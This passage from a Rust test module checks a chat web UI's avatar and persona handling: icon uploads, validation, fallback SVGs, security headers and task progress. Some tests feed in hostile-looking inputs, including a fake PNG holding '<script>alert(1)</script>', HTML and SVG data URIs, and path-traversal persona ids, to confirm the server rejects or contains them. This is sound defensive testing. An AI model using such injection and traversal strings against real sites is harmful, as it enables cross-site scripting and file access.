14358        assert_eq!(view.talk.pending_messages[0].display, Some(display));
14359        assert_eq!(
14360            view.talk.turns[0].messages[0].sender,
14361            Some(talk::Sender::Magi)
14362        );
14363        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14364        conversation.completion_notices[0]
14365            .notice
14366            .push_str("different");
14367        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14368        assert!(view.talk.turns[0].messages.is_empty());
14369        assert!(view.talk.pending_messages.is_empty());
14370    }
14371
14372    #[tokio::test]
14373    async fn avatar_settings_report_states_and_inherit_after_corruption() {
14374        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14375        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14376            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14377        ))
14378        .await;
14379        let path = avatar_setting_path(home.path(), Some("rei"));
14380        let orphan = avatar_setting_path(home.path(), Some("removed"));
14381        save_icon_file(&orphan, icon).unwrap();
14382        for (saved, expected) in [
14383            (icon, "custom"),
14384            ("builtin", "builtin"),
14385            ("data:image/png;base64,!!!!", "inherit"),
14386            ("data:image/png;base64,PGh0bWw+", "inherit"),
14387            ("/tmp/avatar.png", "inherit"),
14388        ] {
14389            atomic_icon_write(&path, saved).unwrap();
14390            let catalog =
14391                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14392                    .await
14393                    .unwrap()
14394                    .0;
14395            let personas = catalog["personas"].as_array().unwrap();
14396            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
14397            assert_eq!(rei["override_state"], expected);
14398            assert_eq!(rei["has_config_icon"], true);
14399            assert_eq!(rei["is_orphan"], false);
14400            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
14401            assert_eq!(removed["override_state"], "custom");
14402            assert_eq!(removed["is_orphan"], true);
14403            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
14404            assert_eq!(default["override_state"], "inherit");
14405            assert_eq!(default["has_config_icon"], false);
14406            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
14407            assert_eq!(
14408                effective.as_deref(),
14409                Some(if expected == "builtin" { "" } else { icon })
14410            );
14411        }
14412    }
14413
14414    #[tokio::test]
14415    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
14416        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14417        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
14418            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
14419        ))
14420        .await;
14421        let target = |id: Option<&str>| AvatarSettingsQuery {
14422            persona: id.map(str::to_owned),
14423            ..Default::default()
14424        };
14425        let original_config = config_for(&repo).await.unwrap();
14426        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
14427        let original_prompt = persona::section_for(&original_persona, None);
14428        let before = talk_detail(State(ui.clone()), Path(id.clone()))
14429            .await
14430            .unwrap()
14431            .0;
14432        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
14433            let _ = avatar_settings_put(
14434                State(ui.clone()),
14435                Query(target(persona)),
14436                Json(MagiIconUpload { icon: icon.into() }),
14437            )
14438            .await
14439            .unwrap();
14440            let path = avatar_setting_path(home.path(), persona);
14441            assert!(path.starts_with(home.path().join("avatars")));
14442            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14443            for bad in [
14444                "/tmp/image.png".to_owned(),
14445                "data:image/png;base64,!!!!".to_owned(),
14446                "data:image/png;base64,PGh0bWw+".to_owned(),
14447                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14448                format!(
14449                    "data:image/png;base64,{}",
14450                    "A".repeat(persona_icon::ICON_MAX_BYTES)
14451                ),
14452            ] {
14453                assert!(
14454                    avatar_settings_put(
14455                        State(ui.clone()),
14456                        Query(target(persona)),
14457                        Json(MagiIconUpload { icon: bad })
14458                    )
14459                    .await
14460                    .is_err()
14461                );
14462                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14463            }
14464        }
14465        assert!(read_magi_icon(home.path()).is_none());
14466        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14467        let after = talk_detail(State(ui.clone()), Path(id.clone()))
14468            .await
14469            .unwrap()
14470            .0;
14471        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14472        assert_ne!(
14473            before
14474                .personas
14475                .iter()
14476                .find(|p| p.id == "magi")
14477                .unwrap()
14478                .avatar,
14479            after
14480                .personas
14481                .iter()
14482                .find(|p| p.id == "magi")
14483                .unwrap()
14484                .avatar
14485        );
14486        let restarted = Arc::new(Ui::new(
14487            Queue::at(home.path().join("queue")),
14488            Questions::at(home.path().join("questions")),
14489            Talks::at(home.path().join("talks")),
14490            home.path().join("runs"),
14491            home.path().to_owned(),
14492            repo,
14493        ));
14494        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14495            .await
14496            .unwrap()
14497            .0;
14498        assert!(
14499            catalog["personas"]
14500                .as_array()
14501                .unwrap()
14502                .iter()
14503                .any(|p| p["id"] == "../custom/日本語")
14504        );
14505        for expected in ["custom", "default", "rei"] {
14506            assert!(
14507                catalog["personas"]
14508                    .as_array()
14509                    .unwrap()
14510                    .iter()
14511                    .any(|p| p["id"] == expected)
14512            );
14513        }
14514        let response =
14515            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14516        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14517        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14518            .await
14519            .unwrap();
14520        assert_eq!(
14521            effective_persona_icon(home.path(), "rei", Some(icon)),
14522            Some(String::new())
14523        );
14524        let response = talk_avatar(
14525            State(restarted.clone()),
14526            Path(id.clone()),
14527            Query(AvatarQuery {
14528                persona: Some("rei".into()),
14529                ..Default::default()
14530            }),
14531        )
14532        .await
14533        .unwrap();
14534        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14535        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14536            .await
14537            .unwrap()
14538            .0;
14539        assert_ne!(
14540            after
14541                .personas
14542                .iter()
14543                .find(|p| p.id == "rei")
14544                .unwrap()
14545                .avatar,
14546            reset
14547                .personas
14548                .iter()
14549                .find(|p| p.id == "rei")
14550                .unwrap()
14551                .avatar
14552        );
14553        let mut inherit = target(Some("rei"));
14554        inherit.inherit = Some("1".into());
14555        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14556            .await
14557            .unwrap();
14558        assert_eq!(
14559            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14560            Some(icon)
14561        );
14562        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14563            .await
14564            .unwrap();
14565        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14566        assert_eq!(
14567            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14568            Some(icon)
14569        );
14570        // Display changes never rewrite the conversation or its prompt-bearing config.
14571        let cfg = config_for(&ui.repo).await.unwrap();
14572        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14573        assert_eq!(persona::section_for(&resolved, None), original_prompt);
14574        assert!(!original_prompt.contains("data:image"));
14575        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14576        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14577        assert!(!stored.contains("data:image"));
14578        let mut orphan = ui.talks.get(&id).unwrap();
14579        orphan.persona = "../custom/日本語".into();
14580        let view = TalkView::with_config(
14581            orphan,
14582            false,
14583            Some(&cfg),
14584            home.path(),
14585            &id_links::IndexCache::default(),
14586        );
14587        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14588    }
14589
14590    #[tokio::test]
14591    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14592        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14593        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14594        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14595        let _ = magi_icon_put(
14596            State(ui.clone()),
14597            Json(MagiIconUpload { icon: icon.into() }),
14598        )
14599        .await
14600        .unwrap();
14601        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14602        assert_ne!(original, changed);
14603        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14604        let response = magi_avatar(
14605            State(ui.clone()),
14606            Query(AvatarQuery {
14607                persona: None,
14608                builtin: None,
14609            }),
14610        )
14611        .await;
14612        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14613        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14614        assert_eq!(
14615            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14616            "nosniff"
14617        );
14618        for bad in [
14619            "data:image/png;base64,PGh0bWw+".to_owned(),
14620            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14621            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14622        ] {
14623            assert!(save_magi_icon(home.path(), &bad).is_err());
14624            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14625        }
14626        // Re-opened server state reads the same independent home file.
14627        let restarted = Arc::new(Ui::new(
14628            Queue::at(home.path().join("queue")),
14629            Questions::at(home.path().join("questions")),
14630            Talks::at(home.path().join("talks")),
14631            home.path().join("runs"),
14632            home.path().to_path_buf(),
14633            repo,
14634        ));
14635        assert_eq!(
14636            magi_icon_get(State(restarted.clone())).await.0["avatar"],
14637            changed
14638        );
14639        let view = TalkView::with_config(
14640            restarted.talks.get(&id).unwrap(),
14641            false,
14642            None,
14643            &restarted.home,
14644            &restarted.references,
14645        );
14646        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14647        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14648        let response = magi_avatar(
14649            State(ui.clone()),
14650            Query(AvatarQuery {
14651                persona: None,
14652                builtin: None,
14653            }),
14654        )
14655        .await;
14656        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14657            .await
14658            .unwrap();
14659        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14660        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14661        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14662        let _ = magi_icon_delete(State(ui)).await.unwrap();
14663    }
14664
14665    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
14666    async fn avatar(
14667        ui: &Arc<Ui>,
14668        id: &str,
14669        persona: Option<&str>,
14670        builtin: bool,
14671    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14672        let res = talk_avatar(
14673            State(Arc::clone(ui)),
14674            Path(id.to_owned()),
14675            Query(AvatarQuery {
14676                persona: persona.map(str::to_owned),
14677                builtin: builtin.then(|| "1".to_owned()),
14678            }),
14679        )
14680        .await
14681        .expect("an avatar is never an error response");
14682        let h = res.headers();
14683        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14684        let nosniff = h
14685            .get(header::X_CONTENT_TYPE_OPTIONS)
14686            .is_some_and(|v| v == "nosniff");
14687        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14688        let status = res.status();
14689        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14690            .await
14691            .expect("body")
14692            .to_vec();
14693        (status, ct, nosniff, csp, body)
14694    }
14695
14696    fn tiny_png() -> Vec<u8> {
14697        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14698        b.extend_from_slice(&[0u8; 32]);
14699        b
14700    }
14701
14702    #[tokio::test]
14703    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14704        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14705        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14706        assert_eq!(res.status(), StatusCode::OK);
14707        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14708        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14709        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14710        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14711        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14712            .await
14713            .unwrap();
14714        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14715        assert_ne!(
14716            persona_icon::operator_svg(),
14717            persona_icon::builtin_svg("default")
14718        );
14719    }
14720
14721    #[tokio::test]
14722    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14723        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14724        for p in [
14725            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14726        ] {
14727            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14728            assert_eq!(status, StatusCode::OK, "{p}");
14729            assert_eq!(ct, "image/svg+xml", "{p}");
14730            assert!(nosniff && csp, "{p}");
14731            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14732        }
14733        // No `persona` means the conversation's own; unknown ones fall back.
14734        let own = avatar(&ui, &id, None, false).await;
14735        let default = avatar(&ui, &id, Some("default"), false).await;
14736        assert_eq!(own.4, default.4);
14737        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14738        assert_eq!(unknown.1, "image/svg+xml");
14739    }
14740
14741    #[tokio::test]
14742    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14743        let dir = TempDir::new().expect("icons");
14744        let good = dir.path().join("good.png");
14745        std::fs::write(&good, tiny_png()).unwrap();
14746        let spoof = dir.path().join("spoof.png");
14747        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14748        let big = dir.path().join("big.png");
14749        let mut bytes = tiny_png();
14750        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14751        std::fs::write(&big, bytes).unwrap();
14752        let missing = dir.path().join("missing.png");
14753        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14754        let extra = format!(
14755            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14756             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14757             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14758             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14759             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14760             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14761            uri(&good),
14762            uri(&spoof),
14763            uri(&big),
14764            uri(&missing),
14765        );
14766        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14767
14768        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14769        assert_eq!(
14770            (status, ct.as_str(), nosniff),
14771            (StatusCode::OK, "image/png", true)
14772        );
14773        assert_eq!(body, tiny_png());
14774        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14775        assert_eq!(ct, "image/png", "data URI");
14776
14777        for p in ["misato", "asuka", "shinji", "magi"] {
14778            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14779            assert_eq!(
14780                (status, ct.as_str(), csp),
14781                (StatusCode::OK, "image/svg+xml", true),
14782                "{p}"
14783            );
14784            assert!(body.starts_with(b"<svg"), "{p}");
14785        }
14786        // The page's own retry skips the icon.
14787        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14788        assert_eq!(ct, "image/svg+xml");
14789    }
14790
14791    #[tokio::test]
14792    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14793        let oversized = format!(
14794            "data:image/png;base64,{}",
14795            "A".repeat(persona_icon::ICON_MAX_BYTES)
14796        );
14797        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14798            let extra = format!(
14799                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14800            );
14801            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14802            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14803                .await
14804                .expect("detail with invalid icon");
14805            assert!(detail.personas.iter().any(|p| p.id == "custom"));
14806            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14807            assert_eq!(status, StatusCode::OK);
14808            assert_eq!(ct, "image/svg+xml");
14809            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14810            let Json(view) = talk_persona(
14811                State(Arc::clone(&ui)),
14812                Path(id.clone()),
14813                Json(TalkPersona {
14814                    persona: "custom".into(),
14815                }),
14816            )
14817            .await
14818            .expect("persona switch with invalid icon");
14819            assert_eq!(view.talk.persona, "custom");
14820            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14821        }
14822    }
14823
14824    #[tokio::test]
14825    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14826        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14827        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14828        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14829        assert_eq!(
14830            (status, ct.as_str(), nosniff, csp),
14831            (StatusCode::OK, "image/svg+xml", true, true)
14832        );
14833    }
14834
14835    #[tokio::test]
14836    async fn the_talk_view_carries_server_built_avatar_urls_only() {
14837        let (_t, _h, ui, id, _repo) =
14838            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14839        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14840            .await
14841            .expect("detail");
14842        let json = serde_json::to_string(&detail).unwrap();
14843        assert!(
14844            !json.contains("secret"),
14845            "the icon setting must not leak: {json}"
14846        );
14847        assert!(
14848            detail
14849                .view
14850                .persona_avatar
14851                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14852        );
14853        assert_eq!(
14854            detail.view.operator_avatar,
14855            format!(
14856                "/avatars/operator.svg?v={}",
14857                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14858            )
14859        );
14860        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14861        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14862        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14863        assert!(rei.avatar.contains("persona=rei&v="));
14864        assert_ne!(
14865            rei.avatar.split("&v=").nth(1),
14866            plain.avatar.split("&v=").nth(1)
14867        );
14868    }
14869
14870    #[tokio::test]
14871    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14872        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14873        let cfg = config_for(&repo).await.unwrap();
14874        for arrived in [false, true] {
14875            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14876            let observed = ui.queued_generation(&id);
14877            let talk = ui.talks.get(&id).unwrap();
14878            if arrived {
14879                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14880            }
14881            let mut settling = std::pin::pin!(settle_settings_turn(
14882                talk,
14883                ui.talks.clone(),
14884                cfg.clone(),
14885                id.clone(),
14886                turn,
14887                observed
14888            ));
14889            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14890            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14891            assert_eq!(first.is_pending(), arrived);
14892            if arrived {
14893                assert!(!settling.await);
14894            }
14895            assert!(!ui.is_thinking(&id));
14896        }
14897    }
14898
14899    #[tokio::test]
14900    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14901        let tmp = TempDir::new().expect("tempdir");
14902        let repo = tmp.path().join("repo");
14903        std::fs::create_dir_all(&repo).expect("repo dir");
14904        std::fs::write(
14905            repo.join("magi.toml"),
14906            format!(
14907                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14908            ),
14909        )
14910        .expect("write magi.toml");
14911        let home = TempDir::new().expect("temp home");
14912        let talks = Talks::at(home.path().join("talks"));
14913        let ui = Arc::new(
14914            Ui::new(
14915                Queue::at(home.path().join("queue")),
14916                Questions::at(home.path().join("questions")),
14917                talks.clone(),
14918                home.path().join("runs"),
14919                home.path().to_path_buf(),
14920                repo.clone(),
14921            )
14922            .with_worktrees_root(home.path().join("wt")),
14923        );
14924        let cfg = config_for(&repo).await.expect("discover config");
14925        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14926        let id = talk.id.clone();
14927        let call = |persona: &str| {
14928            talk_persona(
14929                State(Arc::clone(&ui)),
14930                Path(id.clone()),
14931                Json(TalkPersona {
14932                    persona: persona.to_owned(),
14933                }),
14934            )
14935        };
14936
14937        let unknown = call("nobody").await.expect_err("unknown persona");
14938        assert_eq!(
14939            unknown.status,
14940            StatusCode::BAD_REQUEST,
14941            "{}",
14942            unknown.message
14943        );
14944
14945        {
14946            // Nothing refused so far took a claim, so the guard is free to take
14947            // and holding it is what makes the talk busy.
14948            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14949            let busy = call("rei").await.expect_err("busy talk");
14950            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14951            assert!(
14952                busy.message.contains("a talk turn is running"),
14953                "{}",
14954                busy.message
14955            );
14956            drop(guard);
14957        }
14958        assert_eq!(talks.get(&id).expect("reload").persona, "");
14959
14960        let Json(view) = call("gendo").await.expect("switch to a configured persona");
14961        assert_eq!(view.talk.persona, "gendo");
14962        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14963        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14964        // No intervening I/O or sleep may be needed before another change.
14965        for chosen in ["default", "gendo", "rei", "gendo"] {
14966            let Json(view) = call(chosen).await.expect("immediate consecutive change");
14967            assert!(!view.thinking);
14968            assert!(!ui.is_thinking(&id));
14969        }
14970
14971        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14972            .await
14973            .expect("detail");
14974        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14975        assert_eq!(ids.first(), Some(&"default"));
14976        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14977
14978        let Json(view) = call("default").await.expect("back to default");
14979        assert_eq!(view.talk.persona, "");
14980
14981        let mut closed = talks.get(&id).expect("reload");
14982        talk::close(&mut closed, &talks).expect("close");
14983        let refused = call("rei").await.expect_err("closed talk");
14984        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14985        assert!(
14986            refused.message.contains("takes no more turns"),
14987            "{}",
14988            refused.message
14989        );
14990    }
14991
14992    #[tokio::test]
14993    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14994        let f = Fixture::start().await;
14995        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14996        let queue = f.queue();
14997        let mut mine = Task::new(
14998            "rename the loader".to_owned(),
14999            "rename the loader".to_owned(),
15000            PathBuf::from("/repo/magi"),
15001            Source::Agent {
15002                run: talk_id.clone(),
15003                node: "chat".to_owned(),
15004            },
15005        );
15006        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15007        assert_eq!(empty["task_progress"]["state"], "none");
15008        assert_eq!(empty["task_progress"]["total"], 0);
15009        queue.put(&mut mine).expect("file the task");
15010        let mut theirs = Task::new(
15011            "unrelated".to_owned(),
15012            "unrelated".to_owned(),
15013            PathBuf::from("/repo/magi"),
15014            Source::Human,
15015        );
15016        // A later task linked through origin_chat alone is outside this list.
15017        theirs.origin_chat = Some(talk_id.clone());
15018        queue.put(&mut theirs).expect("file the task");
15019
15020        let res = f.get(&format!("/api/talks/{talk_id}")).await;
15021        assert_eq!(res.status, 200, "{}", res.body);
15022        let body = res.json();
15023        assert_eq!(
15024            body["status"], "open",
15025            "filing a task does not close a talk"
15026        );
15027        let tasks = body["tasks"].as_array().expect("tasks array");
15028        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15029        assert_eq!(tasks[0]["id"], mine.id);
15030        for status in [
15031            TaskStatus::Queued,
15032            TaskStatus::Running,
15033            TaskStatus::Held,
15034            TaskStatus::Failed,
15035            TaskStatus::Blocked,
15036            TaskStatus::Parked,
15037            TaskStatus::Done,
15038            TaskStatus::Queued,
15039        ] {
15040            mine.status = status;
15041            queue.put(&mut mine).expect("update status");
15042            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15043            let progress = &detail["task_progress"];
15044            assert_eq!(progress["total"], 1);
15045            assert_eq!(progress["counts"][status.as_str()], 1);
15046            assert_eq!(detail["tasks"][0]["status"], status.as_str());
15047            assert_eq!(detail["status"], "open", "completion never closes the chat");
15048            if status == TaskStatus::Done {
15049                assert_eq!(progress["state"], "complete");
15050                assert_eq!(progress["done"], 1);
15051                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15052            } else {
15053                assert_eq!(progress["state"], "incomplete");
15054                assert_eq!(progress["done"], 0);
15055                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15056            }
15057        }
15058    }
15059
15060    #[test]
15061    fn talk_task_progress_counts_mixed_statuses() {
15062        let mut tasks: Vec<_> = [
15063            TaskStatus::Queued,
15064            TaskStatus::Running,
15065            TaskStatus::Held,
15066            TaskStatus::Failed,
15067            TaskStatus::Blocked,
15068            TaskStatus::Parked,
15069            TaskStatus::Done,
15070        ]
15071        .into_iter()
15072        .map(|status| {
15073            let mut task = Task::new(
15074                "task".into(),
15075                "task".into(),
15076                PathBuf::from("/repo"),
15077                Source::Human,
15078            );
15079            task.status = status;
15080            task
15081        })
15082        .collect();
15083        let progress = talk_task_progress(&tasks);
15084        assert_eq!(progress.state, "incomplete");
15085        assert_eq!(progress.total, 7);
15086        assert_eq!(progress.done, 1);
15087        assert_eq!(progress.unfinished_ids.len(), 6);
15088        assert!(progress.counts.values().all(|count| *count == 1));
15089        assert_eq!(
15090            progress.unfinished_ids,
15091            tasks[..6]
15092                .iter()
15093                .map(|task| task.id.clone())
15094                .collect::<Vec<_>>()
15095        );
15096
15097        for task in &mut tasks {
15098            task.status = TaskStatus::Done;
15099        }
15100        let complete = talk_task_progress(&tasks);
15101        assert_eq!(complete.state, "complete");
15102        assert_eq!(complete.done, 7);
15103        assert!(complete.unfinished_ids.is_empty());
15104        tasks[0].status = TaskStatus::Queued;
15105        let requeued = talk_task_progress(&tasks);
15106        assert_eq!(requeued.state, "incomplete");
15107        assert_eq!(requeued.done, 6);
15108        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15109
15110        let empty = talk_task_progress(&[]);
15111        assert_eq!(empty.state, "none");
15112        assert_eq!(empty.total, 0);
15113        assert_eq!(empty.done, 0);
15114        assert!(empty.unfinished_ids.is_empty());
15115        assert!(empty.counts.values().all(|count| *count == 0));
15116    }
15117
15118    #[tokio::test]
15119    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
15120        let (_tmp, _repo, f) = talk_fixture().await;
15121        let id = f.post("/api/talks", None).await.json()["id"]
15122            .as_str()
15123            .expect("id")
15124            .to_owned();
15125
15126        let res = f
15127            .post(
15128                &format!("/api/talks/{id}/say"),
15129                Some(r#"{"text":"what does the queue module do?"}"#),
15130            )
15131            .await;
15132        assert_eq!(res.status, 202, "{}", res.body);
15133        let queued = res.json();
15134        let turns = queued["turns"].as_array().expect("turns array");
15135        assert_eq!(
15136            turns.len(),
15137            1,
15138            "the answer reflects only what is on disk the instant it is sent, \
15139             before the agent's turn - which can run for the whole of \
15140             `[graph] timeout_talk` - has a chance to land: {queued}"
15141        );
15142        assert_eq!(turns[0]["who"], "operator");
15143        assert_eq!(turns[0]["body"], "what does the queue module do?");
15144        assert_eq!(
15145            queued["thinking"], true,
15146            "the accepted response exposes the background turn claim: {queued}"
15147        );
15148
15149        let mut turns_after = 1;
15150        for _ in 0..SETTLE_STEPS {
15151            let detail = f.get(&format!("/api/talks/{id}")).await.json();
15152            turns_after = detail["turns"].as_array().expect("turns array").len();
15153            if turns_after == 2 {
15154                break;
15155            }
15156            tokio::time::sleep(Duration::from_millis(10)).await;
15157        }
15158        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
15159    }
15160
15161    /// A phone that reloads mid-request drops `talk_say`'s whole handler
15162    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
15163    /// guards against: `talk::record` used to return, and only *then* did the
15164    /// handler make a second, separate disk round trip before spawning the
15165    /// agent's reply task. A future dropped in that gap left a message
15166    /// recorded on disk with no reply task ever started and no way back short
15167    /// of a fresh message - and the gap was not even the whole story: *any*
15168    /// `.await` in this handler, including the very first one, is a point
15169    /// where a drop can land after the awaited work already finished but
15170    /// before this handler's own code resumes to act on it. `record` now
15171    /// runs inside the task `tokio::spawn` hands to the runtime before this
15172    /// handler ever awaits anything of its own again, so there is nothing
15173    /// left in *this* handler's future for a disconnect to interrupt between
15174    /// the message landing on disk and the reply task starting.
15175    ///
15176    /// A real socket disconnect cannot be relied on to land in the old gap
15177    /// from a test - over loopback, `talk_say` typically finishes before the
15178    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
15179    /// same failure mode directly: it drops the task's future at whatever
15180    /// point it has reached, exactly what axum does to the handler future,
15181    /// without needing to win a real network race. Sweeping the delay before
